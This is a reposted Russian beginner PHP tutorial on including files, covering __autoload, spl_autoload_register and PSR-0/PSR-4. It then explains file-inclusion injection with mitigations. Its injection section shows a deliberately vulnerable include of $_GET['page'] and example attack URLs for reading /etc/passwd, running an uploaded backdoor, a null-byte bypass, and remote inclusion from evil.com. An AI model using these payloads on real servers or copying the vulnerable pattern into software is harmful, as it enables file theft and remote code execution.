» » PHP для начинающих. Подключение файлов

 

PHP для начинающих. Подключение файлов

Автор: admin от 11-02-2019, 14:00, посмотрело: 22

PHP для начинающих. Подключение файлов




В продолжении серии «PHP для начинающих», сегодняшняя статья будет посвящена тому, как PHP ищет и подключает файлы.



__autoload. Сказать точнее, это была даже не определенная функция, эту функцию вы должны были определить сами, и уже с её помощью нужно было подключать необходимые нам файлы по имени класса. Единственным правилом считалось, что для каждого класса должен быть создан отдельный файл по имени класса (т.е. myClass должен быть внутри файла myClass.php). Вот пример реализации такой функции __autoload() (взят из комментариев к официальному руководству):



Класс который будем подключать:



// класс myClass в отдельном файле myClass.php
class myClass {
    public function __construct() {
        echo "myClass init'ed successfuly!!!";
    }
}




Файл, который подключает данный класс:



// пример реализации
// ищем файлы согласно директивы include_path
function __autoload($classname) {
    $filename = $classname .".php";
    include_once $filename;
}

// создаём класс
$obj = new myClass();




Теперь о проблемах с данной функцией — представьте ситуацию, что вы подключаете сторонний код, а там уже кто-то прописал функцию __autoload() для своего кода, и вуаля:



Fatal error: Cannot redeclare __autoload()




Чтобы такого не было, создали функцию, которая позволяет регистрировать произвольную функцию или метод в качестве загрузчика классов — [url=http://php.net/function.spl-autoload-register]spl_autoload_register[/leech]. Т.е. мы можем создать несколько функций с произвольным именем для загрузки классов, и зарегистрировать их с помощью spl_autoload_register. Теперь index.php будет выглядеть следующим образом:



// пример реализации
// ищем файлы согласно директивы include_path
function myAutoload($classname) {
    $filename = $classname .".php";
    include_once($filename);
}

// регистрируем загрузчик
spl_autoload_register('myAutoload');

// создаём класс
$obj = new myClass();




Рубрика «а вы знали?»: первый параметр spl_autoload_register() не является обязательным, и вызвав функцию без него, в качестве загрузчика будет использоваться функция spl_autoload, поиск будет осуществлён по папкам из include_path и файлам с расширением .php и .inc, но этот список можно расширить с помощью функции spl_autoload_extensions




Теперь каждый разработчик может регистрировать свой загрузчик, главное чтобы имена классов не совпадали, но это не должно стать проблемой, если вы используете пространства имён.



Поскольку уже давно существует такой продвинутый функционал как spl_autoload_register(), то функцию __autoload() уже заявлена как deprecated в PHP 7.1, а это значит, что в обозримом будущем данную функцию и вовсе уберут (Х_х)




Ну более-менее картина прояснилась, хотя погодите, все зарегистрированные загрузчики становятся в очередь, по мере их регистрации, соответственно, если кто-то нахимичил в своё загрузчике, то вместо ожидаемого результата может получится очень неприятный баг. Чтобы такого не было, взрослые умные дядьки описали стандарт, который позволяет подключать сторонние библиотеки без проблем, главное чтобы организация классов в них соответствовала стандарту PSR-0 (устарел уже лет 10 как) или PSR-4. В чём суть требований описанных в стандартах:


  1. Каждая библиотека должна жить в собственном пространстве имён (т.н. vendor namespace)

  2. Для каждого пространства имён должна быть создана собственная папка

  3. Внутри пространства имён могут быть свои подпространства — тоже в отдельных папках

  4. Один класс — один файл

  5. Имя файла с расширением .php должно точно соответствовать имени класса





Пример из мануала:




































Полное имя классаПространство имёнБазовая директорияПолный путь
AcmeLogWriterFile_WriterAcmeLogWriter./acme-log-writer/lib/./acme-log-writer/lib/File_Writer.php
AuraWebResponseStatusAuraWeb/path/to/aura-web/src//path/to/aura-web/src/Response/Status.php
SymfonyCoreRequestSymfonyCore./vendor/Symfony/Core/./vendor/Symfony/Core/Request.php
ZendAclZend/usr/includes/Zend//usr/includes/Zend/Acl.php




Различия этих двух стандартов, лишь в том, что PSR-0 поддерживает старый код без пространства имён (т.е. до версии 5.3.0), а PSR-4 избавлен от этого анахронизма, да ещё и позволяет избежать ненужной вложенности папок.



Благодаря этим стандартам, стало возможно появление такого инструмента как composer — универсального менеджера пакетов для PHP. Если кто пропустил, то есть хороший доклад от pronskiy про данный инструмент.







PHP-инъекция



Ещё хотел рассказать о первой ошибки всех, кто делает единую точку входа для сайта в одном index.php и называет это MVC-фреймворком:



<?php
$page = $_GET['page'] ?? die('Wrong filename');

if (!is_file($page)) {
    die('Wrong filename');
}

include $page;




Смотришь на код, и так и хочется чего-нить вредоносного туда передать:



// получить неожиданное поведение системы
http://domain.com/index.php?page=../index.php

// прочитать файлы в директории сервера
http://domain.com/index.php?page=config.ini

// прочитать системные файлы
http://domain.com/index.php?page=/etc/passwd

// запустить файлы, которые мы заранее залили на сервер
http://domain.com/index.php?page=user/backdoor.php




Первое, что приходит на ум — принудительно добавлять расширение .php, но в ряде случаев это можно обойти «благодаря» уязвимости нулевого байта (почитайте, эту уязвимость уже давно исправили, но вдруг вам попадётся интерпретатор более древний, чем PHP 5.3, ну и для общего развития тоже рекомендую):



// прочитать системные файлы
http://domain.com/index.php?page=/etc/passwd%00




В современных версиях PHP наличие символа нулевого байта в пути подключаемого файла сразу приводит к соответствующей ошибке подключения, и даже если указанный файл существует и его можно подключить, то в результате всегда будет ошибка, проверяется это следующим образом strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (это из недров самого PHP)




Вторая «стоящая» мысль, это проверка на нахождение файла в текущей директории:



<?php
$page = $_GET['page'] ?? die('Wrong filename');

if (strpos(realpath($page), __DIR__) !== 0) {
    die('Wrong path to file');
}

include $page . '.php';




Третья, но не последняя модификация проверки, это использование директивы open_basedir, с её помощью можно указать директорию, где именно PHP будет искать файлы для подключения:



<?php
$page = $_GET['page'] ?? die('Wrong filename');

ini_set('open_basedir', __DIR__);

include $page . '.php';




Будьте внимательны, данная директива влияет не только на подключение файлов, но и на всю работу с файловой системой, т.е. включая данное ограничение вы должны быть уверены, что ничего не забыли вне указанной директории, ни кешированные данные, ни какие-либо пользовательские файлы (хотя функции is_uploaded_file() и move_uploaded_file() продолжат работать с временной папкой для загруженных файлов)




Какие ещё возможны проверки? Уйма вариантов, всё зависит от архитектуры вашего приложения.



Хотел ещё вспомнить о существовании «чудесной» директивы allow_url_include (у неё зависимость от allow_url_fopen), она позволяет подключать и выполнять удаленный PHP файлы, что куда как опасней для вашего сервера:



// подключаем удалённый PHP скрипт
http://domain.com/index.php?page=http://evil.com/index.php




Увидели, запомнили, и никогда не пользуйтесь, благо по умолчанию выключено. Данная возможность вам потребуется чуть реже, чем никогда, во всех остальных случаях закладывайте правильную архитектуру приложения, где различные части приложения общаются посредством API.







В заключение



Данная статья — основа-основ в PHP, так что изучайте внимательно, выполняйте задания и не филоньте, за вас никто учить не будет.



P.S.



Это репост из серии статей «PHP для начинающих»:







Если у вас есть замечания по материалу статьи, или возможно по форме, то описывайте в комментариях суть, и мы сделаем данный материал ещё лучше.

Источник: Хабр / Интересные публикации

Категория: Программирование

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Добавление комментария

Имя:*
E-Mail:
Комментарий:
Полужирный Наклонный текст Подчеркнутый текст Зачеркнутый текст | Выравнивание по левому краю По центру Выравнивание по правому краю | Вставка смайликов Выбор цвета | Скрытый текст Вставка цитаты Преобразовать выбранный текст из транслитерации в кириллицу Вставка спойлера
Введите два слова, показанных на изображении: *